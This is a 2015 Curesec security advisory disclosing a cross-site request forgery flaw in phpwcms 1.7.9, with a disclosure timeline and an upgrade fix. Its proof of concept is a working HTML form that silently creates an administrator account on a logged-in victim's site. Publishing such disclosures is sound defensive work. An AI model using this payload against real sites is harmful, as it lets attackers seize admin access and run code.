phpwcms 1.7.9 Cross Site Request Forgery
Posted on 10 December 2015
Security Advisory - Curesec Research Team 1. Introduction Affected Product: phpwcms 1.7.9 Fixed in: 1.8.0 RC1 Fixed Version https://github.com/slackero/phpwcms/archive/ Link: phpwcms-1.8.0-RC1.zip Vendor Website: http://www.phpwcms.de/ Vulnerability CSRF Type: Remote Yes Exploitable: Reported to 09/29/2015 vendor: Disclosed to 12/02/2015 public: Release mode: Coordinated release CVE: requested, but not assigned Credits Tim Coen of Curesec GmbH 2. Vulnerability Description CVSS Medium 5.1 AV:N/AC:H/Au:N/C:P/I:P/A:P Description There is no CSRF protection for any forms, which means that an attacker can perform any action a victim can perform, if the victim visits an attacker controlled website while logged in. In the case of phpwcms, an attacker can add an admin user and thus gain code execution. 3. Proof of Concept Add Admin User: <html> <body> <form action="http://localhost/phpwcms-phpwcms-1.7.9/phpwcms.php?do=admin&s=1" method="POST"> <input type="hidden" name="form_newloginname" value="Jane" /> <input type="hidden" name="form_newpassword" value="Smith" /> <input type="hidden" name="form_newemail" value="jane.smith@example.com" /> <input type="hidden" name="form_newrealname" value="Jane Smith" /> <input type="hidden" name="form_feuser" value="2" /> <input type="hidden" name="form_active" value="1" /> <input type="hidden" name="form_admin" value="1" /> <input type="hidden" name="verification_email" value="0" /> <input type="hidden" name="form_aktion" value="create_account" /> <input type="hidden" name="Submit" value="send user data" /> <input type="submit" value="Submit request" /> </form> </body> </html> 4. Solution To mitigate this issue please upgrade at least to version 1.8.0 RC1: https://github.com/slackero/phpwcms/archive/phpwcms-1.8.0-RC1.zip Please note that a newer version might already be available. 5. Report Timeline 09/29/2015 Informed Vendor about Issue 09/29/2015 Vendor confirmed issues 10/21/2015 Reminded Vendor of Disclosure Date 10/25/2015 Vendor requests more time 11/17/2015 CVE Requested (no reply) 11/24/2015 Reminded Vendor of Disclosure Date 11/29/2015 Vendor releases fix 12/02/2015 Disclosed to public Blog Reference: https://blog.curesec.com/article/blog/phpwcms-179-CSRF-123.html -- blog: https://blog.curesec.com tweet: https://twitter.com/curesec Curesec GmbH Curesec Research Team Romain-Rolland-Str 14-24 13089 Berlin, Germany
